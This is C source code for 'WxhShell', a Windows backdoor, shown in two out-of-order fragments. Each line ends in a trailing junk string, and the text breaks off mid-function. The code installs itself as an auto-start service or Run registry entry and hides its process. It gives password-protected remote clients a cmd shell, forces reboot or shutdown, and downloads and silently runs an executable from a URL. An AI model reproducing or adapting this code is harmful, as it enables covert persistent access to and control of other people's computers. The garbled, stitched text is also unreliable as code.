    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3)ma\+< 6  
    else { \":?xh_H  
    closesocket(wsh); E]J:~H'Er  
    ExitThread(0); R g?1-|Tj  
    } AsPx?  
    break; ;>%~9j1C  
    } kW`r=u  
  // 关机 OFGsjYLw  
  case 'd': { 6 4D]Ypx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7_wJpTz  
    if(Boot(SHUTDOWN)) T"p(]@Ng  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l akp  
    else { #Ei,(xiP  
    closesocket(wsh); T/c<23i  
    ExitThread(0); !Oj)B1gc6&  
    } K. %U  
    break; '`|A I:L  
    } FVB;\'/  
  // 获取shell _TUk(Qe  
  case 's': { TgTnqR@/  
    CmdShell(wsh); V $|<  
    closesocket(wsh); sow d`I~  
    ExitThread(0); 4J|t?]ij|E  
    break; YC=S5;  
  } T# lP!c  
  // 退出 WKpA|  
  case 'x': { `gpQW~*R-;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ExSO|g]%  
    CloseIt(wsh); Q \]Xm>  
    break; 5tv<8~:K  
    } 6CC&Z>  
  // 离开 .6m "'m0;  
  case 'q': { ]WUC:6x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T *I?9d{k  
    closesocket(wsh); tu>{  
    WSACleanup(); iB1i/l  
    exit(1); RGIoI ]_  
    break; BPqGJ7@  
        } [U8$HQ+x  
  } 1z*kc)=JF8  
  } b?Pj< tA  
/ahNnCtu?1  
  // 提示信息 Z~6[ Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o<l 2r  
} &[a Tw{2  
  } LF?P> 1%-  
pilh@#_h  
  return; EPX8Wwf  
} H@l}[hkP  
>Z Ke  
// shell模块句柄 S'U@X  
int CmdShell(SOCKET sock) SQWafD  
{ J4 tcQ  
STARTUPINFO si; >p])it[q&$  
ZeroMemory(&si,sizeof(si)); 6  P`)%zj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z *9FlV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DjCx~@  
PROCESS_INFORMATION ProcessInfo; .mL#6P!d3^  
char cmdline[]="cmd"; W~ULc 9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6QZ5|T ]  
  return 0; q (+ZwaV@  
} C+F*690h  
4ZC!SgJo  
// 自身启动模式 64j|}wJ$  
int StartFromService(void) hzY[ G :  
{ | A:@ &|  
typedef struct b-@\R\T  
{ 7S$&S;  
  DWORD ExitStatus; PT9v*3Bq~  
  DWORD PebBaseAddress; R4e&^tI@*  
  DWORD AffinityMask; 8[bkHfI  
  DWORD BasePriority; DF1<JdO+  
  ULONG UniqueProcessId; LS.r%:$mb  
  ULONG InheritedFromUniqueProcessId; va|rO#.=  
}   PROCESS_BASIC_INFORMATION; {13!vS%5  
Vv*NFJ|  
PROCNTQSIP NtQueryInformationProcess; T~gW3J  
VY+>=!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !asqr1/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5IqQ|/m<6  
9.M{M06;  
  HANDLE             hProcess; O\OE0[[  
  PROCESS_BASIC_INFORMATION pbi; {SG>'KXZ  
:Dl% _l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >_ X/[<  
  if(NULL == hInst ) return 0; X1A<$Am1  
NvtM3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8v y G*UK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )%Y IGV;&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Di=9mHC  
beZ(o?uK  
  if (!NtQueryInformationProcess) return 0; UQd6/mD`e  
V*65b(q)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AxCI 0  
  if(!hProcess) return 0; PI|`vC|yy&  
VY'Q|[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ; !$m1  
7w58L:)B.  
  CloseHandle(hProcess); TYjA:d9YH  
kJ=L2g>W<.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3gfimD$_E  
if(hProcess==NULL) return 0; yu&Kh4AP  
8SnS~._9  
HMODULE hMod;  oYX{R  
char procName[255]; FUeq \Wuo  
unsigned long cbNeeded; *+lsZ8'^C  
gs`^~iD]m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~%y\@x7I  
3vJ12=  
  CloseHandle(hProcess); d*;$AYI#R  
fk5XvL  
if(strstr(procName,"services")) return 1; // 以服务启动 A%ywj'|z  
VRS 2cc  
  return 0; // 注册表启动 's@MQ! *  
} 9 Aivf+  
"dN < i  
// 主模块 r(uP!n1+  
int StartWxhshell(LPSTR lpCmdLine) (;6s)z  
{ ,9ml>ji`=  
  SOCKET wsl; 73DlRt *  
BOOL val=TRUE; E`p'L!z  
  int port=0; f =_^>>.  
  struct sockaddr_in door; 3n(*E_n  
t]m!ee8*X<  
  if(wscfg.ws_autoins) Install(); ]b[,LwB\`~  
rm+v(&  
port=atoi(lpCmdLine); 85>S"%_  
p$!@I  
if(port<=0) port=wscfg.ws_port; B.-A $/  
2mJ:c  
  WSADATA data; c%<2z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mf*Nr0L;J  
R40W'N 1%q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b%0BkS*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (zah890//  
  door.sin_family = AF_INET; Uu2N9.5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ha'qIT 3&  
  door.sin_port = htons(port); 2uu[52H8d%  
[V< 1_zqt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5~\Kj#PBx  
closesocket(wsl); q]v,  
return 1; #)i&DJ^Y  
} aG3k4  
f4]&pcK  
  if(listen(wsl,2) == INVALID_SOCKET) { U6i~A9;  
closesocket(wsl); \8_V(lU   
return 1; ABWb>EZ8  
} +rQg7a}  
  Wxhshell(wsl); URw!7bTz  
  WSACleanup(); ZDlu1>Q  
PHkDb/HIx|  
return 0; ?Y`zg`  
A c:\c7M;  
} T <A   
^_w*XV  
// 以NT服务方式启动 @aB9%An1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }=pOiILvD  
{ QV)}3pW  
DWORD   status = 0; Gm@iV,F%R  
  DWORD   specificError = 0xfffffff; U+!UL5k  
U2&HSE|2J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T#e4": A&x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q}Rlo/R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~|=rwDBZ8l  
  serviceStatus.dwWin32ExitCode     = 0; R"Y?iZed3  
  serviceStatus.dwServiceSpecificExitCode = 0; jlRS:$|R0  
  serviceStatus.dwCheckPoint       = 0; a#R %8)  
  serviceStatus.dwWaitHint       = 0; )_pt*xo  
x(yX0 ,P/7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B? TpBd  
  if (hServiceStatusHandle==0) return; G"fdu(.@  
W%zmD Hk~  
status = GetLastError(); %QE5<2k  
  if (status!=NO_ERROR) 8 DL hk  
{ 4^MSX+zt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^^Bm$9  
    serviceStatus.dwCheckPoint       = 0; %g-0O#8}  
    serviceStatus.dwWaitHint       = 0; LI:?Y_r  
    serviceStatus.dwWin32ExitCode     = status; ;x RjQR  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z]e4pR6!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~GYpa t  
    return; 45r|1<Ro  
  } 8v$ g  
X o_] v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =u[rOU{X"W  
  serviceStatus.dwCheckPoint       = 0; |<QI%Y$dr  
  serviceStatus.dwWaitHint       = 0; wV %8v\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V4oak!}?  
} y$v@wb5  
2:/u2K  
// 处理NT服务事件,比如:启动、停止 7Ff?Ysr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ahd\TH  
{ x{QBMe`  
switch(fdwControl) IE@ z@+\(  
{ ~e+0c'n\  
case SERVICE_CONTROL_STOP: IF$^ 0q  
  serviceStatus.dwWin32ExitCode = 0; %,Q;<axzi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w1.MhA  
  serviceStatus.dwCheckPoint   = 0; tbRE/L<  
  serviceStatus.dwWaitHint     = 0; v?%0~!  
  { ?bn;{c;E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CElPU`J,\[  
  } /W?z0tk`  
  return; &KOO&,  
case SERVICE_CONTROL_PAUSE: Wu]/(F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a]{uZGn@i  
  break; Skr iX\p  
case SERVICE_CONTROL_CONTINUE: s?~8O|Mu'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B5 tx f.  
  break; a5>)?m  
case SERVICE_CONTROL_INTERROGATE:  }Olr  
  break; Qlf 9]ug)  
}; 0K`ZX&K?W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B>ge, }{  
} '[n)N@h  
}^IwQm*i  
// 标准应用程序主函数 f>?^uSpWH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L F8Pb;I  
{ L;4[ k;5  
@\S]]oLn  
// 获取操作系统版本 KuU3DTS85Z  
OsIsNt=GetOsVer(); .wM:YX'[G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y`\mQ48V  
}ty"fI3&iY  
  // 从命令行安装 Vx}Yl&*D  
  if(strpbrk(lpCmdLine,"iI")) Install(); DXt]b,  
o- cj&Cv%  
  // 下载执行文件 5>N6VeM  
if(wscfg.ws_downexe) { P}+2>EU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bmi:2} j  
  WinExec(wscfg.ws_filenam,SW_HIDE); J& n ^y  
} 9$:QLE+t  
-MQZiq7H4  
if(!OsIsNt) { B-B?Ff>  
// 如果时win9x,隐藏进程并且设置为注册表启动 g"TPII$  
HideProc(); 8x!+tw7  
StartWxhshell(lpCmdLine); g&|4  
} ],H1  
else NW }>pb9  
  if(StartFromService()) #>MO]  
  // 以服务方式启动 h85 (N  
  StartServiceCtrlDispatcher(DispatchTable); FLi(#9  
else o(?VX`2"  
  // 普通方式启动 782[yLyv  
  StartWxhshell(lpCmdLine); s$js5 ou  
7=$+k]U8  
return 0; l6',  
} gcQ.  YP9  
$'WapxF  
r'Hy}HWuF  
m OwWg  
=========================================== j` [#Ij  
/UEV8 1  
BUcaj.S  
h9tB''ePE  
oV%( 37W9=  
=)mXCA^  
" # Nu%]  
\f8P`oET~  
#include <stdio.h> SJ1w1^#Pz  
#include <string.h> DBqg_v  
#include <windows.h> I rtF4ia.  
#include <winsock2.h> yS1b,cxz  
#include <winsvc.h> HA$^ *qn  
#include <urlmon.h> zz7Y/653  
4iYgs-,  
#pragma comment (lib, "Ws2_32.lib") 2rPcNh9  
#pragma comment (lib, "urlmon.lib") fcgDU *A%  
@Fm{6^  
#define MAX_USER   100 // 最大客户端连接数 i6meY$l  
#define BUF_SOCK   200 // sock buffer N#<zEAB  
#define KEY_BUFF   255 // 输入 buffer O;"*_Xq(`  
&:!ZT=  
#define REBOOT     0   // 重启 gaLEhf^  
#define SHUTDOWN   1   // 关机 cq'}2pob  
[ HC8-N^.}  
#define DEF_PORT   5000 // 监听端口 N/`TrWVF  
G\'u~B/w  
#define REG_LEN     16   // 注册表键长度 : ;E7+m  
#define SVC_LEN     80   // NT服务名长度 3i@ "D  
KdBq@  
// 从dll定义API !=~s/{$PE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .}L-c>o"o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >!HfH(is\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3s+<    
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~8KF<2c   
i6!T`Kau  
// wxhshell配置信息 r`&2-]  
struct WSCFG { >?\v@   
  int ws_port;         // 监听端口 $UFge%`,q@  
  char ws_passstr[REG_LEN]; // 口令 reqfgNg  
  int ws_autoins;       // 安装标记, 1=yes 0=no Wx']tFn"  
  char ws_regname[REG_LEN]; // 注册表键名 +d6Aw}*  
  char ws_svcname[REG_LEN]; // 服务名 s2(w#n)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7yqSt)/U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~x4{P;y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FqT,4SIR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =Do3#Xe2V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 73^ T*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 imJ[:E  
v&[X&Hu[  
}; F #!@}K8  
=|qt!gY)Y  
// default Wxhshell configuration ]Omb :  
struct WSCFG wscfg={DEF_PORT, okK/i  
    "xuhuanlingzhe", Tc'{i#%9j  
    1, #f|NM7  
    "Wxhshell", 'XZI{q2i  
    "Wxhshell", A-Q{*{^#  
            "WxhShell Service", yL.PGF1(  
    "Wrsky Windows CmdShell Service", 6oTbn{=UUq  
    "Please Input Your Password: ", %h/#^esi  
  1, ^\7 x5gO  
  "http://www.wrsky.com/wxhshell.exe", n!l./>N  
  "Wxhshell.exe" \GbHS*\+  
    }; tpNtoqg_$  
&.+n L  
// 消息定义模块 &(H)gjH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %ojR?=ON  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -$L],q_S^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4BduUH  
char *msg_ws_ext="\n\rExit."; /A[oj2un  
char *msg_ws_end="\n\rQuit."; *D09P%  
char *msg_ws_boot="\n\rReboot..."; HX /GLnY/X  
char *msg_ws_poff="\n\rShutdown..."; NSxPN:  
char *msg_ws_down="\n\rSave to "; $tt0D?$4  
8XS {6<  
char *msg_ws_err="\n\rErr!"; AihL>a%  
char *msg_ws_ok="\n\rOK!"; qmue!Fv#g  
]@ Sc}  
char ExeFile[MAX_PATH]; "&~?Hzm  
int nUser = 0; ATMogxh  
HANDLE handles[MAX_USER];  23(E3:.  
int OsIsNt; IQk#  
@sg T[P*ut  
SERVICE_STATUS       serviceStatus; H.l,%x&K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :EQme0OW  
dm/\uE'l  
// 函数声明 Hl3XqR  
int Install(void); j J`Zz  
int Uninstall(void); C\a:eSgaC  
int DownloadFile(char *sURL, SOCKET wsh); 53,,%Ue  
int Boot(int flag); guUr1Ij  
void HideProc(void); xT=kxyu  
int GetOsVer(void); eF8 aB?&"  
int Wxhshell(SOCKET wsl); z|DA _dG  
void TalkWithClient(void *cs); 8[`^(O#\E  
int CmdShell(SOCKET sock); +/~\b/  
int StartFromService(void); ].<sAmL^  
int StartWxhshell(LPSTR lpCmdLine); #<tWYE  
jL7MmR#y5"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S$lmEJ_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eUKl Co  
rjpafGCp  
// 数据结构和表定义 OFQi&/  
SERVICE_TABLE_ENTRY DispatchTable[] = 0r$hPmvv8  
{ 4xAlaOw5M  
{wscfg.ws_svcname, NTServiceMain}, TOPPa?=vk  
{NULL, NULL} CSX$Pk*  
}; O"J.k&C<,  
H/@M  
// 自我安装 ,@'){V  
int Install(void) LD~uI  
{ QIMv9;  
  char svExeFile[MAX_PATH]; +U_-Lq )  
  HKEY key; \xO2WD  
  strcpy(svExeFile,ExeFile); X!+Mgh6  
5%Fn^u:  
// 如果是win9x系统,修改注册表设为自启动 ,5A>:2 zs  
if(!OsIsNt) { "{ QHWZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nh\8+v*+{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DKVt8/vq  
  RegCloseKey(key); {DXZ}7w:v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yu?s5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "<.  
  RegCloseKey(key); 5#9Wd9LP  
  return 0; &zh+:TRm  
    } Tm:#"h\F  
  } (E1>}  
} Q@ )rw0$  
else { SAll9W4  
R&=GB\`:a  
// 如果是NT以上系统,安装为系统服务 AINFua4A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @6!y(e8"J]  
if (schSCManager!=0) Y"/UYxCm|&  
{ JbC\l  
  SC_HANDLE schService = CreateService BWi 7v  
  ( wM4g1H%s  
  schSCManager, \]`(xxt1  
  wscfg.ws_svcname, 6P*)rye  
  wscfg.ws_svcdisp, +|"n4iZ!)  
  SERVICE_ALL_ACCESS, DN 8pJa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &!YH"{b  
  SERVICE_AUTO_START, eRx[&-c  
  SERVICE_ERROR_NORMAL, $W_o$'crW  
  svExeFile, )p^jsv.  
  NULL, U)w|GrxX  
  NULL, 5G ]#yb74  
  NULL, <9@]|  
  NULL, +#JhhW Zj(  
  NULL ? -F'0-t4%  
  ); QUw5~n ;-  
  if (schService!=0) 8rG&CxI  
  { w%o4MFK=!  
  CloseServiceHandle(schService); 8(_g]u#B;  
  CloseServiceHandle(schSCManager); ;=9v mQA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o27`g\gDR,  
  strcat(svExeFile,wscfg.ws_svcname); zl#&Qm4Ot  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sV'.Bomq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ' bw,K*  
  RegCloseKey(key); CG>2 ,pP,  
  return 0; &N7:k+E  
    } 3F'dT[;  
  } x>9EVa)  
  CloseServiceHandle(schSCManager); F. oP!r  
} ylxfh(  
} }.$ B1%2  
E)_!Hi0<s  
return 1; =+-.5M  
} KZ}4<{3  
So 6cm|{  
// 自我卸载 [;#.DH]  
int Uninstall(void) %^%-h}1  
{ g+/U^JIc4l  
  HKEY key; 3N%Ev o  
6dy4{i  
if(!OsIsNt) { UuqnL{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8kc'|F\  
  RegDeleteValue(key,wscfg.ws_regname); rH:X/i;D  
  RegCloseKey(key); p;t!"I:`?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'sQO0611S  
  RegDeleteValue(key,wscfg.ws_regname); pH:|G  
  RegCloseKey(key); &?`&X=Q  
  return 0; i|^`gly  
  } :lQjy@J  
} +\Mm (Nd  
} UO!6&k>c  
else { H$z+gbjJ  
f$W}d0(F;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h8-tbHgpb  
if (schSCManager!=0) )* nbEZm@  
{ '*ICGKoT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f -nC+   
  if (schService!=0) tWOze, N  
  { 'C>SyU  
  if(DeleteService(schService)!=0) { i8 ):0  
  CloseServiceHandle(schService);  Y*}>tD;  
  CloseServiceHandle(schSCManager); c_qy)N  
  return 0; h16Nr x  
  } nN\XVGP,t  
  CloseServiceHandle(schService); #Ii.tTk  
  } nW%=k!''  
  CloseServiceHandle(schSCManager); p33GKg0i+(  
} vhEs+ j  
} }R5&[hxh4t  
Odtck9L  
return 1; `6sQlCOnF  
} %R"/`N9R,  
yaYt/?|  
// 从指定url下载文件 >`|uc  
int DownloadFile(char *sURL, SOCKET wsh) &2]D+aL|h  
{ GO3YXO33  
  HRESULT hr; *-LU'yM6Yh  
char seps[]= "/"; 'htA! KHF  
char *token; '^(v8lCu  
char *file; =pOY+S|  
char myURL[MAX_PATH]; +<WT$ddK=5  
char myFILE[MAX_PATH]; KR(ftG'  
d>98 E9  
strcpy(myURL,sURL); BF [?* b  
  token=strtok(myURL,seps); S|4/C  
  while(token!=NULL) K y2xWd8  
  { wXGFq3`  
    file=token; |M>k &p,B-  
  token=strtok(NULL,seps); 4H? Ma|,  
  } CPeK0(7Zh  
HU+H0S~g  
GetCurrentDirectory(MAX_PATH,myFILE); _rJ SkZO  
strcat(myFILE, "\\"); Z_~DTO2Qg  
strcat(myFILE, file); FEmlC,%  
  send(wsh,myFILE,strlen(myFILE),0); gj;G:;1m  
send(wsh,"...",3,0); uWj-tzu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 76r s)J[*w  
  if(hr==S_OK) j77}{5@p  
return 0; G ]By_  
else FN`kSTm*0!  
return 1; 3'e 4{  
&.4_4"l(  
} km^+ mK  
=~m"TQv  
// 系统电源模块 -XG$ 0  
int Boot(int flag) h5keYBA  
{ L^s;kkB  
  HANDLE hToken; 8J1.(Mwb?  
  TOKEN_PRIVILEGES tkp; J*C*](  
]LOtwY  
  if(OsIsNt) { }jgAV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aKtTx~$@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B :.;:AEbT  
    tkp.PrivilegeCount = 1; Ud*[2Oi|R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B9:0|i!!A`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |?=1tS{iT  
if(flag==REBOOT) {  "<h#Z(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N|vJrye  
  return 0; X}Z%@tL  
} .Q)"F /  
else { *{s[$}uQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L1 VTq9[3  
  return 0; <!>}t a  
} %~2m$#)  
  } ^v|!(h\ZC  
  else { Hv*O9!cC  
if(flag==REBOOT) { 'Pu;]sC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C$gLi8|m  
  return 0; GTNTx5H  
} OR8o%AxL7  
else { M?u)H&kEl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bM3e7olWS  
  return 0; li P{Mu/LO  
} Nq6CvDXi  
} k>hZ  
oU?X"B9  
return 1; BIyG[y?qO  
} o2jB~}VMl  
'=* 5C{  
// win9x进程隐藏模块 Ft !~w#&-  
void HideProc(void) 59 Y=VS  
{ ;gV8f{X{Z  
9E?>B3t^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L1i> %5:g  
  if ( hKernel != NULL ) )D*xOajo+l  
  { h--bN*}H2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HI 61rXNF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7HFO-r118  
    FreeLibrary(hKernel); 0eP~F2<bC  
  } ev >9P  
B ;$8<  
return; &,7(Wab  
} l}/UriZ0  
/[5up  
// 获取操作系统版本 ^umAfk5r?H  
int GetOsVer(void) rnE'gH(V'  
{ p2^OQK  
  OSVERSIONINFO winfo; )&-E@% \  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RBwV+X[B  
  GetVersionEx(&winfo); ^yTN (\9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U$ bM:d  
  return 1; kzXW<V9  
  else R FiR)G ,  
  return 0; |-D.  
} N2J!7uoQ  
=x>k:l~s  
// 客户端句柄模块 a@J :*W  
int Wxhshell(SOCKET wsl) e?WR={  
{ u*`GIRfWT  
  SOCKET wsh; 9t1_"{'N1  
  struct sockaddr_in client; 74#@F{w  
  DWORD myID; wf1DvsJQl  
DYK|"@  
  while(nUser<MAX_USER) ^XVa!s,d  
{ $*R9LPpk+  
  int nSize=sizeof(client); UxtZBNn8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #cb6~AH  
  if(wsh==INVALID_SOCKET) return 1; yl%F<5  
DmsloPB?_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qW^l2Jff  
if(handles[nUser]==0) &ii =$4"R  
  closesocket(wsh); ^5}3FvW  
else =`H( `2  
  nUser++; jN0v<_PJED  
  } Qafg/JU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rw`s O:eZ  
* =l9gv&  
  return 0; + aF jtb  
} !ZW0yCwLQ  
nE84W$\  
// 关闭 socket 9qA_5x%"%u  
void CloseIt(SOCKET wsh) `( Gk_VAa  
{ yK^k*)2N  
closesocket(wsh); z16++LKmM  
nUser--; f?6=H^_>  
ExitThread(0); bX1ip2X lk  
} FC#Q tu~J  
9h8G2J o  
// 客户端请求句柄 =fPO0Ot;  
void TalkWithClient(void *cs) DJ^JUVi  
{ oP6G2@3P/  
hlZjk0ez  
  SOCKET wsh=(SOCKET)cs; J4i0+u  
  char pwd[SVC_LEN]; /'&L M\  
  char cmd[KEY_BUFF]; H@:@zD!G[  
char chr[1]; ;21JM2JI8  
int i,j; u 6+  
[geY:v_B  
  while (nUser < MAX_USER) { CiSG=obw  
kn.z8%^(  
if(wscfg.ws_passstr) {  M > <   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V*~5*OwB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tG-MC&;=  
  //ZeroMemory(pwd,KEY_BUFF); 2RCnk&u  
      i=0; S0`*  
  while(i<SVC_LEN) { MNzq}(p  
",m5}mk:4  
  // 设置超时 xT/&'$@{)  
  fd_set FdRead; W+E2({  
  struct timeval TimeOut; .B*)A.   
  FD_ZERO(&FdRead); zl5S)/A  
  FD_SET(wsh,&FdRead); 3^Y-P8.zdB  
  TimeOut.tv_sec=8; $B2@mC([S  
  TimeOut.tv_usec=0; ITV}f#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hGeRM4zVZZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eu =2a>  
K2QD&!4/T2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); By9/tB  
  pwd=chr[0]; `*a,8M%  
  if(chr[0]==0xd || chr[0]==0xa) { DH%X+r  
  pwd=0; J98K:SAR  
  break; ?0x;L/d])  
  } OZ6%AUot  
  i++; z$NLFJvy_-  
    } tj3p71%  
wHmEt ORo  
  // 如果是非法用户,关闭 socket R)=<q]Ms  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?:E;C<Ar  
} vuf|2!kh/  
^&}Y>O,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P_gQ-pF.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !ktr|9Bl  
|8B[yr.b  
while(1) { 3]i1M%'i  
C6`8dn   
  ZeroMemory(cmd,KEY_BUFF); >7 |37a  
kL-+V)Kl  
      // 自动支持客户端 telnet标准   -Da_#_F  
  j=0; Sv ,_G'  
  while(j<KEY_BUFF) { *sTQ9 Kr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]:;gk&P  
  cmd[j]=chr[0]; ":Q^/;D}U  
  if(chr[0]==0xa || chr[0]==0xd) { <+a\'Xc  
  cmd[j]=0; GCoqKE  
  break; JF7T1T  
  } -[=`bHo  
  j++; X:A\{^ ~  
    } >nxtQ  
8Y9mB #X  
  // 下载文件 7"NUof?i  
  if(strstr(cmd,"http://")) { 7j Q`i;L}Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e|I5Nx2)  
